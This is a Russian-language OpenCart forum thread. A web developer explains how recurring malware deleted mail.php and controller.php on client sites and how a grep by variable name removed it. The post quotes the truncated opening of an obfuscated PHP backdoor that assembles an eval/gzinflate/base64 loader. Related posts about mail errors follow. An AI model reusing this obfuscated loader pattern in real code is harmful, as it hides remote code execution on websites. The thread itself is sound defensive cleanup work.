Jump to content
Sign in to follow this  
streetr

Докопался: удаление файлов mail.php и controller.php

Recommended Posts

Всем привет, последнее время часто заказывают исправление проблемы с удалением файла mail.php и иногда controller.php, Чаще всего обращаются по сайтам на opencart (может потому что основная специальность у меня по нему) но и wordpress, joomla так же страдают такой траблой. Естественно вирус, естественно чистим, но все равно файлы пропадают через некоторое время. Ну начал я наблюдать активно за одним из таких сайтов, и нашел все таки в логах обращение с POST запросом к файлу data.php (почему то не один из антивиров типа айболита не подозревал этот код) (полный путь писать смысла нету, у всех лежит в разных папках) и картинка с именем data.jpg (не у всех клиентов был такой, а у некоторых имя другое, ищем в содержании файла по слову описанному ниже)

содержание файла примерно такое 

 

<?php $YLbgPfj524 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$oDJXw7301 = $YLbgPfj524[16].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[38].$YLbgPfj524[29].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[16].$YLbgPfj524[6].$YLbgPfj524[4].$YLbgPfj524[40].$YLbgPfj524[30];$Gcwa9593 = "".chr(101)."\x76".chr(97)."".chr(108)."".chr(40)."g\x7Ai\x6E".chr(102)."".chr(108)."a".chr(116)."".chr(101)."".chr(40)."ba".chr(115)."e".chr(54).

После поиска по всем файлам на сайте по слову YLbgPfj524  ( grep -rl 'YLbgPfj524' /PATH_TO_SITE/ ) вычистил весь подобный хлам, и УРА все тихо. Вирус однотипный, так как содержание файла data.php у всех одинаковое, клиенты часть новые, от меня заражения быть у них не могло, проблемы, код вируса и имена файлов у всех одинаковы.

P>S написать решил имеено сюда,  как так когда искал инфу по проблеме, находил топики

http://searchengines.guru/showthread.php?t=914314

И такой каталог был на сервере, только в корне

https://opencartforum.com/topic/52058-наверное-взломали/

Edited by streetr

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
You are posting as a guest. If you have an account, please sign in.
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Similar Content

    • By xdivers
      Добрый день.
      В логах появилась вот такая проблема.
      Письма с заказами приходят но через раз.
      Хостер (fyrstvds) пинает на шаблон а те на хостера.
      Стоит VPN сервер ocStore 2.3
      Может, кто поможет? (весь форум перерыл, решения так и не нашел)

       
    • By ElenaWerb89
      Добрый вечер. Помогите, пожалуйста,в решении моей проблемы: Версия опенкарт 2.1. Установила модуль Яндекс деньги. При оформлении заказа при нажатии кнопки "ПОДТВЕРЖДЕНИЕ ЗАКАЗА" появляется ошибка: PHP Warning:  mail(/var/www/vhosts/u0403136.plsk.regruhosting.ru/statistics/logs/mail.log) [<a href='function.mail'>function.mail</a>]: failed to open stream: Permission denied in /var/www/vhosts/.../system/library/mail.php on line 164.  Почта магазина @gmail.com При этом письма о новом заказе приходят. Покупателю (делали тестовую покупку) приходит письмо с ссылкой для оплаты. Оплата тоже проходит, после этого покупателю приходит где- то 3 одинаковых письма о смене статуса заказа и эти же 3 статуса вместо одного появляются у меня в админке. (т.е. лишняя, ненужная информация)
      Коды mail.php 
      <?php
      class Mail {
          protected $to;
          protected $from;
          protected $sender;
          protected $reply_to;
          protected $subject;
          protected $text;
          protected $html;
          protected $attachments = array();
          public $protocol = 'mail';
          public $smtp_hostname;
          public $smtp_username;
          public $smtp_password;
          public $smtp_port = 25;
          public $smtp_timeout = 5;
          public $newline = "\n";
          public $verp = false;
          public $parameter = '';
          public function __construct($config = array()) {
              foreach ($config as $key => $value) {
                  $this->$key = $value;
              }
          }
          public function setTo($to) {
              $this->to = $to;
          }
          public function setFrom($from) {
              $this->from = $from;
          }
          public function setSender($sender) {
              $this->sender = $sender;
          }
          public function setReplyTo($reply_to) {
              $this->reply_to = $reply_to;
          }
          public function setSubject($subject) {
              $this->subject = $subject;
          }
          public function setText($text) {
              $this->text = $text;
          }
          public function setHtml($html) {
              $this->html = $html;
          }
          public function addAttachment($filename) {
              $this->attachments[] = $filename;
          }
          public function send() {
              if (!$this->to) {
                  trigger_error('Error: E-Mail to required!');
                  exit();
              }
              if (!$this->from) {
                  trigger_error('Error: E-Mail from required!');
                  exit();
              }
              if (!$this->sender) {
                  trigger_error('Error: E-Mail sender required!');
                  exit();
              }
              if (!$this->subject) {
                  trigger_error('Error: E-Mail subject required!');
                  exit();
              }
              if ((!$this->text) && (!$this->html)) {
                  trigger_error('Error: E-Mail message required!');
                  exit();
              }
              if (is_array($this->to)) {
                  $to = implode(',', $this->to);
              } else {
                  $to = $this->to;
              }
              $boundary = '----=_NextPart_' . md5(time());
              $header = 'MIME-Version: 1.0' . $this->newline;
              if ($this->protocol != 'mail') {
                  $header .= 'To: ' . $to . $this->newline;
                  $header .= 'Subject: =?UTF-8?B?' . base64_encode($this->subject) . '?=' . $this->newline;
              }
              $header .= 'Date: ' . date('D, d M Y H:i:s O') . $this->newline;
              $header .= 'From: =?UTF-8?B?' . base64_encode($this->sender) . '?=' . ' <' . $this->from . '>' . $this->newline;
              
              if (!$this->reply_to) {
                  $header .= 'Reply-To: =?UTF-8?B?' . base64_encode($this->sender) . '?=' . ' <' . $this->from . '>' . $this->newline;
              } else {
                  $header .= 'Reply-To: =?UTF-8?B?' . base64_encode($this->reply_to) . '?=' . ' <' . $this->reply_to . '>' . $this->newline;
              }
              
              $header .= 'Return-Path: ' . $this->from . $this->newline;
              $header .= 'X-Mailer: PHP/' . phpversion() . $this->newline;
              $header .= 'Content-Type: multipart/related; boundary="' . $boundary . '"' . $this->newline . $this->newline;
              if (!$this->html) {
                  $message  = '--' . $boundary . $this->newline;
                  $message .= 'Content-Type: text/plain; charset="utf-8"' . $this->newline;
                  $message .= 'Content-Transfer-Encoding: 8bit' . $this->newline . $this->newline;
                  $message .= $this->text . $this->newline;
              } else {
                  $message  = '--' . $boundary . $this->newline;
                  $message .= 'Content-Type: multipart/alternative; boundary="' . $boundary . '_alt"' . $this->newline . $this->newline;
                  $message .= '--' . $boundary . '_alt' . $this->newline;
                  $message .= 'Content-Type: text/plain; charset="utf-8"' . $this->newline;
                  $message .= 'Content-Transfer-Encoding: 8bit' . $this->newline . $this->newline;
                  if ($this->text) {
                      $message .= $this->text . $this->newline;
                  } else {
                      $message .= 'This is a HTML email and your email client software does not support HTML email!' . $this->newline;
                  }
                  $message .= '--' . $boundary . '_alt' . $this->newline;
                  $message .= 'Content-Type: text/html; charset="utf-8"' . $this->newline;
                  $message .= 'Content-Transfer-Encoding: 8bit' . $this->newline . $this->newline;
                  $message .= $this->html . $this->newline;
                  $message .= '--' . $boundary . '_alt--' . $this->newline;
              }
              foreach ($this->attachments as $attachment) {
                  if (file_exists($attachment)) {
                      $handle = fopen($attachment, 'r');
                      $content = fread($handle, filesize($attachment));
                      fclose($handle);
                      $message .= '--' . $boundary . $this->newline;
                      $message .= 'Content-Type: application/octet-stream; name="' . basename($attachment) . '"' . $this->newline;
                      $message .= 'Content-Transfer-Encoding: base64' . $this->newline;
                      $message .= 'Content-Disposition: attachment; filename="' . basename($attachment) . '"' . $this->newline;
                      $message .= 'Content-ID: <' . basename(urlencode($attachment)) . '>' . $this->newline;
                      $message .= 'X-Attachment-Id: ' . basename(urlencode($attachment)) . $this->newline . $this->newline;
                      $message .= chunk_split(base64_encode($content));
                  }
              }
              $message .= '--' . $boundary . '--' . $this->newline;
              if ($this->protocol == 'mail') {
                  ini_set('sendmail_from', $this->from);
                  if ($this->parameter) {
                      mail($to, '=?UTF-8?B?' . base64_encode($this->subject) . '?=', $message, $header, $this->parameter);
                  } else {
                      mail($to, '=?UTF-8?B?' . base64_encode($this->subject) . '?=', $message, $header);
                  }
              } elseif ($this->protocol == 'smtp') {
                  $tls = substr($this->smtp_hostname, 0, 3) == 'tls';
                  $hostname = $tls ? substr($this->smtp_hostname, 6) : $this->smtp_hostname;
                  $handle = fsockopen($hostname, $this->smtp_port, $errno, $errstr, $this->smtp_timeout);
                  if (!$handle) {
                      trigger_error('Error: ' . $errstr . ' (' . $errno . ')');
                      exit();
                  } else {
                      if (substr(PHP_OS, 0, 3) != 'WIN') {
                          socket_set_timeout($handle, $this->smtp_timeout, 0);
                      }
                      while ($line = fgets($handle, 515)) {
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      fputs($handle, 'EHLO ' . getenv('SERVER_NAME') . "\r\n");
                      $reply = '';
                      while ($line = fgets($handle, 515)) {
                          $reply .= $line;
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      if (substr($reply, 0, 3) != 250) {
                          trigger_error('Error: EHLO not accepted from server!');
                          exit();
                      }
                      if ($tls) {
                          fputs($handle, 'STARTTLS' . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 220) {
                              trigger_error('Error: STARTTLS not accepted from server!');
                              exit();
                          }
                          stream_socket_enable_crypto($handle, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
                      }
                      if (!empty($this->smtp_username)  && !empty($this->smtp_password)) {
                          fputs($handle, 'EHLO ' . getenv('SERVER_NAME') . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 250) {
                              trigger_error('Error: EHLO not accepted from server!');
                              exit();
                          }
                          fputs($handle, 'AUTH LOGIN' . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 334) {
                              trigger_error('Error: AUTH LOGIN not accepted from server!');
                              exit();
                          }
                          fputs($handle, base64_encode($this->smtp_username) . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 334) {
                              trigger_error('Error: Username not accepted from server!');
                              exit();
                          }
                          fputs($handle, base64_encode($this->smtp_password) . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 235) {
                              trigger_error('Error: Password not accepted from server!');
                              exit();
                          }
                      } else {
                          fputs($handle, 'HELO ' . getenv('SERVER_NAME') . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if (substr($reply, 0, 3) != 250) {
                              trigger_error('Error: HELO not accepted from server!');
                              exit();
                          }
                      }
                      if ($this->verp) {
                          fputs($handle, 'MAIL FROM: <' . $this->from . '>XVERP' . "\r\n");
                      } else {
                          fputs($handle, 'MAIL FROM: <' . $this->from . '>' . "\r\n");
                      }
                      $reply = '';
                      while ($line = fgets($handle, 515)) {
                          $reply .= $line;
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      if (substr($reply, 0, 3) != 250) {
                          trigger_error('Error: MAIL FROM not accepted from server!');
                          exit();
                      }
                      if (!is_array($this->to)) {
                          fputs($handle, 'RCPT TO: <' . $this->to . '>' . "\r\n");
                          $reply = '';
                          while ($line = fgets($handle, 515)) {
                              $reply .= $line;
                              if (substr($line, 3, 1) == ' ') {
                                  break;
                              }
                          }
                          if ((substr($reply, 0, 3) != 250) && (substr($reply, 0, 3) != 251)) {
                              trigger_error('Error: RCPT TO not accepted from server!');
                              exit();
                          }
                      } else {
                          foreach ($this->to as $recipient) {
                              fputs($handle, 'RCPT TO: <' . $recipient . '>' . "\r\n");
                              $reply = '';
                              while ($line = fgets($handle, 515)) {
                                  $reply .= $line;
                                  if (substr($line, 3, 1) == ' ') {
                                      break;
                                  }
                              }
                              if ((substr($reply, 0, 3) != 250) && (substr($reply, 0, 3) != 251)) {
                                  trigger_error('Error: RCPT TO not accepted from server!');
                                  exit();
                              }
                          }
                      }
                      fputs($handle, 'DATA' . "\r\n");
                      $reply = '';
                      while ($line = fgets($handle, 515)) {
                          $reply .= $line;
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      if (substr($reply, 0, 3) != 354) {
                          trigger_error('Error: DATA not accepted from server!');
                          exit();
                      }
                      // According to rfc 821 we should not send more than 1000 including the CRLF
                      $message = str_replace("\r\n", "\n", $header . $message);
                      $message = str_replace("\r", "\n", $message);
                      $lines = explode("\n", $message);
                      foreach ($lines as $line) {
                          $results = str_split($line, 998);
                          foreach ($results as $result) {
                              if (substr(PHP_OS, 0, 3) != 'WIN') {
                                  fputs($handle, $result . "\r\n");
                              } else {
                                  fputs($handle, str_replace("\n", "\r\n", $result) . "\r\n");
                              }
                          }
                      }
                      fputs($handle, '.' . "\r\n");
                      $reply = '';
                      while ($line = fgets($handle, 515)) {
                          $reply .= $line;
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      if (substr($reply, 0, 3) != 250) {
                          trigger_error('Error: DATA not accepted from server!');
                          exit();
                      }
                      fputs($handle, 'QUIT' . "\r\n");
                      $reply = '';
                      while ($line = fgets($handle, 515)) {
                          $reply .= $line;
                          if (substr($line, 3, 1) == ' ') {
                              break;
                          }
                      }
                      if (substr($reply, 0, 3) != 221) {
                          trigger_error('Error: QUIT not accepted from server!');
                          exit();
                      }
                      fclose($handle);
                  }
              }
          }
      }
      mail.php
    • By ananas999
      Здравствуйте, в логах ошибка связанная с почтой. Возможно некоторые форматы почты не поддерживаются, не знаю... Вроде регистрация и отправка писем работает, но: 
       
       
      PHP Notice:  Error: DATA not accepted from server! in /home/users/1/user3/domains/site.ru/system/library/mail.php on line 418
       
      Указывает на этот отрезок:
       
                   if (substr($reply, 0, 3) != 250) { 418       trigger_error('Error: DATA not accepted from server!');              exit();              }   У меня OcStore 2.0.1.1  
       
      Как решить, что изменить или поправить?
  • Recently Browsing   0 members

    No registered users viewing this page.

×

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.